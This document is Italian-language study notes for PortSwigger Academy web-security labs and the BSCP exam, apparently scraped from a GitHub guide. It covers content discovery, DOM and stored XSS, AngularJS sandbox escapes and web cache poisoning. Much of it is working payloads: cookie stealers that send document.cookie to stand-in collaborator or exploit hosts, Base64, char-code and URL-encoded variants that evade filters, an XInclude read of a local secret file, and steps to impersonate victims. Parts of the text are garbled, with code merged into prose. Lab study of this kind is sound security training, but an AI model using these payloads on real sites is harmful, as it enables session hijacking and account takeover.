
Note di studio pratiche e guide passo-passo per i laboratori di PortSwigger Academy, che coprono vulnerabilità web, payload, enumerazione e strategie per l'esame BSCP.
Questi sono i miei appunti di studio con oltre 110 laboratori della PortSwigger Academy. Ho usato questi laboratori per superare l'esame Burp Suite Certified Practitioner del 2023. La mia certificazione BSCP.
Per maggiori informazioni, visita PortSwigger Academy e consulta i materiali di apprendimento più recenti.
SCANSIONE - Enumerazione
Scansione mirata
Scansione di entità non standard
PUNTO D'APPOGGIO - Fase 1
Scoperta dei contenuti
DOM-XSS
XSS Cross Site Scripting
Avvelenamento della cache web
Header Host
HTTP Request Smuggling
Brute force
Autenticazione
ESCALATION DEI PRIVILEGI - Fase 2
CSRF - Presa di controllo dell'account
Reimpostazione della password
SQLi - SQL Injection
JWT - JSON Web Tokens
Prototype pollution
Test delle API
Controllo degli accessi
Endpoint API GraphQL
CORS - Cross-origin resource sharing
ESFILTRAZIONE DEI DATI - Fase 3
XXE - Entità XML e Iniezioni
SSRF - Server side request forgery
SSTI - Server side template injection
SSPP - Server Side Prototype Pollution
LFI - File path traversal
Caricamento dei file
Deserializzazione
OS Command Injection
APPENDICE
Script Python
Payload
Wordlist
Scansione mirata del target
Approccio
Contenuti formativi extra
Raccomando di svolgere quante più possibili Mystery lab challenge per mettere alla prova le tue abilità e ridurre il tempo necessario a identificare le vulnerabilità, prima di sostenere l'esame.
Ho trovato molto informativo anche questo consiglio di PortSwigger su Ripetere l'esame.
Guarda CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricks per una nuova prospettiva sull'esame BSCP nel 2024.
Grazie per il caffè di supporto,
\o/
Il mio certificato Burp Suite Certified Practitioner.
L'enumerazione delle applicazioni web inizia con una scansione iniziale e mirata in un contesto con tempi limitati.
Scansione mirata
Scansione di entità non standard
A causa del limite di tempo stringente durante gli incarichi o l'esame, scansiona i punti di inserimento definiti per richieste specifiche.

Lo scanner ha rilevato una vulnerabilità di XML injection nel parametro storeId, che ha portato alla lettura del file segreto di Carlos.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>Richiesta XInclude fuori banda, serve un DTD ospitato per leggere il file locale.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
PortSwigger Lab: Scoprire le vulnerabilità rapidamente con la scansione mirata
Scansione di strutture dati non standard utilizzando la funzione di Burp per scansionare il punto di inserimento selezionato alla ricerca di testo selezionato nella risposta o nelle richieste.

Identifica la vulnerabilità attraverso i risultati dei problemi dello scanner Burp.
In questo caso, utilizzando l'XSS identificato, ruba i cookie dell'utente admin creando il payload nel punto di inserimento identificato.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>Codifica in URL i caratteri chiave.

>Usa il cookie dell'utente admin per accedere al pannello di amministrazione sostituendolo nella sessione corrente del browser.
[PortSwigger Lab: Scansione di strutture dati non standard](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# Punto d'ingresso
# Scoperta dei contenuti
>L'enumerazione del target inizia con il fuzzing di directory e file web. Si possono usare gli strumenti di engagement di Burp, l'opzione di scoperta dei contenuti per trovare percorsi e file nascosti, oppure usare `FFUF` per enumerare directory e file web. Anche l'esame di `robots.txt` o `sitemap.xml` può rivelare contenuti.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Strumento di engagement di Burp, content discovery utilizzando la mia wordlist compilata burp-labs-wordlist come elenco di file personalizzato.

Esamina i rami del repository git sulla copia locale scaricata, usando lo strumento
git-cola. Quindi seleziona Annulla ultimo commit ed estrai la password admin dalla finestra diff.``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[PortSwigger Lab: Information disclosure in version control history](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>Apri sempre il `source code` per cercare commenti degli sviluppatori che rivelino file o percorsi nascosti. L'esempio seguente porta alla [deserializzazione del token symphony](#deserialization).

-----
## DOM-Based XSS
[DOM XSS Indicators](#identify-dom-xss)
[DOM XSS Identified with DOM Invader](#dom-invader)
[DOM XSS AngularJS](#vuln-angularjs)
[DOM XSS document.write in select](#doc-write-location-search)
[DOM XSS JSON.parse web messages](#dom-xss-jsonparse-web-messages)
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)
[DOM XSS AddEventListener Ads Message](#dom-xss-addeventlistener-ads-message)
[DOM XSS Eval Reflected Cookie Stealer](#reflected-dom-xss)
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)
### Identificare DOM-XSS
>Le vulnerabilità XSS basate su DOM sorgono quando JavaScript prende dati da una fonte controllabile dall'attaccante, come l'URL, e passa codice a un sink che supporta l'esecuzione dinamica di codice.
>Testa quali caratteri consentono di uscire dal punto di iniezione del `source code`, utilizzando la stringa fuzzer qui sotto.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
Review the
source codeto identify the sources , sinks or methods that may lead to exploit, list of samples:
Utilizzando il plug-in Dom Invader e impostando il canary a un valore, come
domxss, rileverà i sink DOM-XSS che possono essere sfruttati.

L'espressione AngularJS di seguito può essere iniettata nella funzione di ricerca quando le parentesi angolari e le virgolette doppie sono codificate in HTML. La vulnerabilità viene identificata notando che la stringa di ricerca è racchiusa in una direttiva ng-app e che lo script
/js/angular 1-7-7.jsè incluso. Rivedere il codice HTML per identificare la direttivang-appche indica ad AngularJS che questo è l'elemento radice dell'applicazione AngularJS.

Di seguito il payload del lab PortSwigger:```JavaScript {{$on.constructor('alert(1)')()}}
>[Payload furto di cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) utilizzando `on.constructor` che può essere inserito in un iframe, ospitato su un server di exploit, con conseguente invio del cookie di sessione della vittima a Burp Collaborator.
>[Cheat sheet di PortSwigger per riferimento al cross-site scripting](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
Nota: La proprietà del cookie di sessione non deve avere il flag di sicurezza HttpOnly impostato affinché l'XSS abbia successo.

Il target è vulnerabile a DOM-XSS nella funzione di controllo delle scorte.
source coderivela chedocument.writeè il sink utilizzato conlocation.search, permettendoci di aggiungere il parametro di query storeId con un valore contenente il payload JavaScript all'interno di un'istruzione<select>.

Esegui un test utilizzando il payload qui sotto per identificare l'iniezione nella richiesta GET modificata, usando
">per effettuare l'escape.```html /product?productId=1&storeId=fuzzer">fuzzer

>DOM XSS [payload per il furto di cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) in un sink `document.write` usando la sorgente `location.search` all'interno di un elemento `<select>`. Questo può essere inviato alla vittima tramite il server di exploit in un `

Alla fine dei valori onload dell'iframe c'è un "*", questo serve a indicare che il target è qualsiasi.
Imposta un cookie di test non sicuro nel browser utilizzando la console degli strumenti di sviluppo del browser da usare durante i test per la POC XSS
payload per il furto di cookie.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

[PortSwigger Lab: DOM XSS using web messages and JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>DOM Invader utilizzato per identificare e testare DOM XSS tramite web messages

>Ripeti l'invio del post message utilizzando DOM Invader dopo aver alterato i dati JSON.```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

PortSwigger: Identificare il DOM XSS utilizzando PortSwigger DOM Invader
Esaminando il
source codedella pagina identifichiamo la chiamataaddeventlistenerper un messaggio web ma c'è una condizioneifche controlla se la stringa contienehttp/s.

Il payload di seguito ospitato sul server exploit include la stringa
httpse riesce a bypassare il controllo della condizioneif.```html

Una volta aggiornato il cookie della vittima, il log del server Exploit cattura il valore segreto del cookie.
>Con il grande aiuto di ***ShehmeerAbidRajput*** ho aggiornato questo lab con il payload cookie stealer da lui fornito.
[PortSwigger Lab: manipolazione dei cookie basata su DOM](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## Cross Site Scripting
[XSS Resources](#xss-resources)
[Identify allowed Tags](#identify-allowed-tags)
[Bypass Blocked Tags](#bypass-blocked-tags)
[XSS Assign protocol](#xss-assign-protocol)
[Custom Tags not Blocked](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[Reflected String XSS](#reflected-string-xss)
[Reflected String Extra Escape](#reflected-string-extra-escape)
[AngularJS Sandbox Escape](#angularjs-sandbox-escape)
[XSS Template Literal](#xss-template-literal)
[XSS via JSON into EVAL](#xss-via-json-into-eval)
[Stored XSS](#stored-xss)
[Stored DOM XSS](#stored-dom-xss)
[XSS in SVG Upload](#xss-svg-upload)
### XSS Resources
>Pagine delle risorse XSS per cercare payload per **tag** ed **eventi**.
+ [Cheat sheet Cross-site scripting (XSS)](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [Note di studio HackTheBox CPTS su XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>Lo strumento CSP Evaluator verifica se è in atto una content security policy per mitigare gli attacchi XSS. Ad esempio, se manca `base-uri`, questa vulnerabilità consente all'attaccante di utilizzare il metodo di exploit alternativo descritto in [Upgrade stored self-XSS](#upgrade-stored-self-xss).
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>Quando la lunghezza massima del campo di input è di soli 23 caratteri, usa questa risorsa per **Tiny XSS Payloads**.
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>Imposta nel browser un cookie di test non sicuro usando la console DevTools del browser, da utilizzare durante i test per i [payload cookie stealer](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md) di POC XSS.```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
Payload XSS di base per identificare i controlli dei filtri di sicurezza dell'applicazione per la gestione dei dati ricevuti nella richiesta HTTP.```html
(empty)```html
"><svg><animatetransform onbegin=alert(1)>
(empty response due to missing input)``` <>'"
>L'invio dei payload sopra indicati può restituire un messaggio di risposta, ***"Tag non consentito"*** a causa del blocco delle iniezioni da parte del Web Application Firewall (WAF).
>Quindi ***identifica*** i tag consentiti utilizzando [PortSwigger Academy Metodologia](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).
>Encoder e decoder online per URL e Base64
+ [Decodifica e codifica URL](https://www.urldecoder.org/)
+ [Decodifica e codifica BASE64](https://www.base64encode.org/)
>Questo lab fornisce un'ottima **metodologia** per ***identificare*** i tag HTML e gli eventi consentiti per realizzare POC XSS.
>Ospita il codice **iframe** sul server di exploit e consegna il link di exploit alla vittima.```html
I controlli dell'applicazione mostrano il messaggio "Tag is not allowed" quando si inseriscono payload XSS di base, ma si scopre che il markup SVG è consentito utilizzando la metodologia precedente. Questo payload ruba il mio cookie di sessione come POC.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>Posiziona il payload di cui sopra sul server di exploit e inserisci l'URL con il valore di ricerca in un ```iframe``` prima di consegnarlo alla vittima nel blocco di codice in basso.```html

Laboratorio PortSwigger: XSS riflesso con qualche markup SVG consentito
#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=htmlLaboratorio per testare XSS nel contesto HTML senza nulla codificato nella funzione di ricerca. Usando questo laboratorio per testare l'exploit del protocollo assegnabile con location
javascriptidentificato dalla ricerca XSS di PortSwigger. Nel payload, c'è il%0ache rappresenta il carattere di nuova riga ASCII.```html

[PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### Tag personalizzati non bloccati
>L'applicazione risponde con il messaggio ***"Tag non consentito"*** quando si tenta di inserire payload XSS, ma se creiamo un tag personalizzato, viene bypassato.```html
<xss+id=x>#x';
Identifica se il tag personalizzato sopra non è bloccato nella funzione di ricerca, osservando la risposta. Crea il payload sottostante per rubare il cookie di sessione out-of-band.```
>**Nota:** Il tag personalizzato con ID ```x```, che contiene un gestore di eventi **onfocus** che attiva la funzione ```document.location```. Il carattere **HASH** `#` alla fine dell'URL mette a fuoco questo elemento non appena la pagina viene caricata, causando la chiamata del payload. Ospita lo script del payload sul server di exploit nei tag ```script``` e invialo alla vittima. Di seguito è riportato lo stesso payload ma in formato **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

z3nsh3ll - spiegazione dei tag personalizzati per attacchi XSS
Il seguente iframe usa il carattere HASH
#alla fine dell'URL per attivare il cookie stealer XSS OnHashChange.```JavaScript
>Nota: se il cookie è protetto con il flag **HttpOnly** abilitato, il cookie non può essere rubato tramite XSS.
>Il payload del laboratorio PortSwigger esegue print.```JavaScript
Nota: Identifica la versione vulnerabile di jquery 1.8.2 inclusa nel
source codecon l'azione del selettore CSS al hashchange.

PortSwigger Lab: DOM XSS nel sink del selettore jQuery usando un evento hashchange
Crypto-Cat: DOM XSS nel sink del selettore jQuery usando un evento hashchange
Inviando una stringa di ricerca ed esaminando il
source codedella pagina dei risultati di ricerca, la variabile stringa JavaScript viene identificata come quella che riflette la stringa di ricercatracker.gifnelsource codecon una variabile chiamatasearchTerms.```html
Utilizzando un payload
test'payloadsi osserva che una virgoletta singola viene sottoposta a escape tramite backslash, impedendo di uscire dalla stringa.```JavaScript
>Modificare il payload in un cookie stealer che consegna il token di sessione a Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

Quando si inserisce questo payload in un
iframe, l'applicazione di destinazione non ne consente l'incorporamento e mostra il messaggio:refused to connect.
PortSwigger Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
Nell'esame BSCP, ospita il payload sottostante sul server di exploit all'interno dei tag
<script>e la query di ricerca sottostante prima che venga codificata in URL.```
>Exploit Server che ospita una vulnerabilità riflessa nel termine di ricerca, che viene inviata alla vittima per ottenere il cookie di sessione.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
L'applicazione ha restituito il messaggio di errore
Tag is not allowede questo viene bypassato usando</ScRiPt >.
Vedi nella
source codela variabile chiamatasearchTermse, quando invii il payloadfuzzer'payload, nota che l'apostrofo viene escapato con una barra rovesciata; quindi invia unfuzzer\payloadpayload e identifica che la barra rovesciata non viene escapata.``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>Utilizzando una singola **barra rovesciata**, una virgoletta singola e un **punto e virgola**, si esce dalla variabile stringa JavaScript; quindi, utilizzando i backtick per racchiudere il percorso ```document.location```, si permette al cookie stealer di bypassare la protezione dell'applicazione.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
Con l'aiuto di Trevor ho trasformato questo in un payload per rubare cookie, usando i backtick. Grazie Trevor, ecco il suo walkthrough su YouTube XSS in stringa JavaScript, parentesi angolari, doppie virgolette codificate, virgolette singole con escape

Esercizio del lab PortSwigger di livello esperto che utilizza AngularJS 1.4.4 e le versioni 1.x hanno raggiunto la fine del ciclo di vita e non sono più mantenute.
Questo lab utilizza AngularJS in modo insolito, dove la funzione$evalnon è disponibile e non sarai in grado di utilizzare alcuna stringa in AngularJS.
Obiettivo: eseguire un attacco di cross-site scripting che evada la sandbox ed esegua il payload senza utilizzare la funzione$eval.
Identifica il
angular.modulenel codice sorgente JavaScript:

Il valore
searchdella variabilekeyviene iniettato nel JavaScript creato dinamicamente.
Non c'è alcun problema di sicurezza evidente qui. Tuttavia, la sicurezza di questo codice dipende da come questo controller e i valori estratti vengono utilizzati nel back-end.
Il metodo
$parsevaluta l'espressione AngularJS$scope.query.
Usando
&per aggiungere una seconda coppia chiave-valore e testare il codice dinamico generato dal payload.

Cambiando il nome della seconda chiave aggiunta in un'espressione per determinare se viene valutata,
/?search=key1value&7*7=payloade il risultato matematico è 49.

La costruzione di un payload fallisce quando si usa
alert()come nome della seconda chiave a causa del modo in cui AngularJS compila il codice tramite il parser.
Sandbox AngulaJS - Vedi i documenti di PortSwigger sull'iniezione di template lato client
Cheat Sheet di PortSwigger – Riferimento per l'escape della sandbox 1.4.4``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>Payload Collaborator ***ladro di cookie***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
I valori decimali ASCII per ogni carattere nella stringa payload precedente, separati da virgole. Ogni numero rappresenta il valore decimale ASCII del carattere corrispondente nella stringa payload.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>Script Python per convertire qualsiasi payload in valori decimali ASCIII:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

Payload per il furto di cookie in valore decimale ASCII, espressione AngularJS eseguita tramite la sandbox, dai passaggi della soluzione di PortSwigger:
toString() per creare una stringa senza usare virgolette.charAt per ogni stringa.orderBy.toString() per creare una stringa e la proprietà del costruttore di String.fromCharCode per generare il nostro payload convertendo i codici dei caratteri nell'esempio di payload x=alert(1).charAt è stata sovrascritta, AngularJS permetterà a questo codice di sfuggire alla Sandbox.
PortSwigger Expert Lab: XSS riflesso con escape dalla sandbox di AngularJS senza stringhe
Il template literal JavaScript viene identificato dai backtick ` usati per contenere la stringa. Nel codice di destinazione identifichiamo che la stringa di ricerca viene riflessa all'interno di un template literal.``` ${alert(document.cookie)}

>Grazie a ***Adrián Gyurácz***, per aver fornito un bypass fantastico dove non ero riuscito a ottenere un cookie stealer funzionante che bypassasse tutti i filtri di questo lab.
>***Adrián Gyurácz*** ha trovato il seguente articolo di ricerca di Portswigger che ha portato alla soluzione:
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### Partendo da quanto sopra, il suo payload:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
Poiché il cookie della sessione di laboratorio originale ha flag di protezione, ha creato un cookie fittizio di test per la prova di concetto:

dopo aver inviato il payload nella funzione di ricerca, ho ricevuto un hit dal cookie stealer:

Spero che altri trovino utile la sua ricerca, e la includo nella mia guida Tx.
Questa App per l'esame pratico di PortSwigger esegue la funzione di ricerca e il DOM Invader identifica il sink in una funzione
eval(). I risultati della ricerca vengono inseriti nel tipo di contenuto JSON.

Prova l'escape dai dati
JSONe inietta il payload di test"-prompt(321)-"nel contenuto JSON.

Nel tentativo di ottenere il valore del nostro cookie di sessione con il payload
"-alert(document.cookie)-", viene restituito un messaggio di filtro che indica"Potentially dangerous search term".
Il WAF impedisce filtri di ricerca e tag pericolosi, quindi aggiriamo i filtri WAF utilizzando variabili globali JavaScript.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: Bypass dei filtri XSS utilizzando le variabili globali di JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
>Di seguito è riportato il main [payload per il furto di cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) prima di codificarlo in BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
Successivamente, codifica il payload utilizzando il valore codificato in Base64 del payload per il furto di cookie sopra descritto.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>Testa il payload sul nostro stesso cookie di sessione nella funzione di ricerca.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
Analisi delle fasi di assemblaggio del payload precedente:
Questa immagine mostra Burp Collaborator che riceve il valore del mio cookie come prova di concetto prima di impostare il payload su
Deliver exploit to victim.

Esegui l'URL Encode di tutti i caratteri in questo payload e utilizza il risultato come valore del parametro
/?SearchTerm=.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>Ospitando l'`IFRAME` sul server exploit, si ottiene un messaggio di **errore** di connessione rifiutata al target. Ospita invece il payload sul server exploit tra i tag `<script>`.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

NOTA: esegui
Deliver exploit to victimalcune volte se l'utente attivo non invia una richiesta HTTP al collaborator. Sostituisci il valore del cookie corrente con il cookie rubato per impersonare l'utente attivo e passa allo Stage 2 dell'Esame Pratico.
Esame Pratico PortSwigger - Stage 1 - Foothold
La Stored XSS può anche essere Blind XSS. Se il payload alert non si attiva, consulta il video di NahamSec sulla Blind XSS per un payload che la vittima possa cliccare, esempio:
<svg/onload=import('//EXPLOIT.net/blind_xss')>
Se l'input memorizzato reindirizza la vittima che clicca sui link, viene inviata una richiesta al server di exploit. Usa il seguente codice di esempio per identificare la stored XSS.```HTML![]()
>Le voci di log qui sotto mostrano le richieste fatte al server di exploit, e dai log possiamo ***identificare*** che `/img` e `/video` dei tag precedenti erano consentiti sull'applicazione e hanno effettuato richieste quando vi si accedeva.

>Cross site Scripting salvato nel commento del post del blog. Questo payload Cookie Stealer invia poi il cookie di sessione della vittima ai log del server di exploit.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
Ricerca di prodotti e negozi```html ?productId=1&storeId=">
#### Post del blog Stored XSS
>Ladro di cookie del post del blog Stored XSS che invia il cookie del documento al server di exploit.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
Il target di seguito presenta una vulnerabilità XSS memorizzata nella funzione dei commenti del blog. Ruba il cookie di sessione di una vittima che visualizza i commenti dopo che sono stati pubblicati, e poi usa il suo cookie per effettuare un'impersonificazione.

Fetch API payload JavaScript Cookie Stealer nel commento del post del blog.```JavaScript
>[IPPSEC YouTube usando HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), in cui mostra il codice JavaScript `payload.js`, come usa `fetch` e impara JavaScript.
[PortSwigger Lab: Sfruttare il cross-site scripting per rubare cookie](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
#### Potenziamento del self-XSS memorizzato
>Commento del blog con **Stored self-XSS**, potenziando il payload per rubare le informazioni della vittima dal DOM. La funzione **edit content** riflette l'input nel tag `<script>`. Il token CSRF per **write comment** è lo stesso della funzione **edit content**. Il payload seguente usa la funzione **write comment** per indurre la vittima a creare una voce di blog sul proprio blog con il nostro contenuto malevolo.
>Il carattere `a` viene aggiunto per sfuggire al carattere `#` del `source code` iniziale dell'applicazione.
>Il `source code` seguente nella voce di blog è l'exploit completo per rubare le informazioni della vittima.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
Questo target viene sfruttato costruendo un'iniezione HTML che sovrascrive una variabile denominata
share_button, vedisource codesotto e usa il codice HTML sopra. Il contenuto viene riflesso nella pagina, quindi usando questa riflessione si abilita il reindirizzamento della pagina alla pagina/editdella vittima con l'uso del tagmeta http-equivper aggiornare la pagina dopo 1 secondo, con conseguente reindirizzamento.
```
https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1
>Consegna Exploit, inviando alla vittima un URL che fa riferimento alla voce di blog sopra menzionata, si innescherà XSS nel suo contesto.
[intigriti - Upgrade Self-XSS - Soluzione alla sfida XSS di dicembre 22](https://youtu.be/FowbZ8IlU7o)
>Exploit alternativo che utilizza l'iniezione HTML nella pagina di modifica del contenuto della voce di blog, ***identificato*** utilizzando il [XSS Resources CSP check](#xss-resources).```
<base href="https://Exploit.net">
Ospita il file JS sul server Exploit come
static/js/bootstrap.bundle.min.js, con il contenuto:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
>Il payload modificato del lab di PortSwigger assegna la funzione `document.location` alla variabile `defaultAvatar` la prossima volta che la pagina viene caricata, perché il sito usa DOMPurify che consente l'uso del protocollo `cid:` che non esegue URLencode delle virgolette doppie.```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
PortSwigger Lab: Sfruttare il DOM clobbering per abilitare XSS
Nel
codice sorgenteJavaScript, nello script inclusoresources/js/loadCommentsWithVulnerableEscapeHtml.js, identifichiamo la funzionehtml.replace()all'interno della funzione personalizzataloadComments. Testando i payload, vediamo che la funzione sostituisce solo la prima occorrenza di<>.
```html
<>
>Il payload precedente viene memorizzato e qualsiasi utente che visita il blog dei commenti vedrà il proprio cookie di sessione rubato e inviato al collaborator.

>Payload del lab PortSwigger: `<>`.
[PortSwigger Lab: DOM XSS memorizzato](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## Avvelenamento della cache Web
[Header non incluso](#unkeyed-header)
[Utm_content non incluso](#unkeyed-utm_content)
[Occultamento di utm_content](#cloaking-utm_content)
[Avvelenamento di richieste ambigue](#poison-ambiguous-request)
[Avvelenamento della cache con più header](#cache-poison-multiple-headers)
### Header non incluso
>Il target utilizza **tracking.js** JavaScript,
>ed è vulnerabile all'header **```X-Forwarded-Host```** o **```X-Host```** che reindirizza il percorso,
>consentendo il furto del cookie tramite l'avvelenamento della cache.
>***Identifica*** gli header della cache web nella risposta e lo script tracking.js nel codice sorgente della pagina.
>Sfrutta la vulnerabilità ospitando JavaScript e iniettando l'header per avvelenare la cache del target e reindirizzare una vittima in visita.
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

Hosting sul server di exploit, iniettando l'header
X-Forwarded-Hostnella richiesta e avvelenando la cache finché la vittima non raggiunge la cache avvelenata.``` /resources/js/tracking.js

>Il corpo invia il cookie di sessione al servizio di collaborazione.```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
Continua ad avvelenare la cache web del target reinviando la richiesta con l'header
X-Forwarded-Host.

Lab PortSwigger: Avvelenamento della cache web con un header non incluso nella chiave
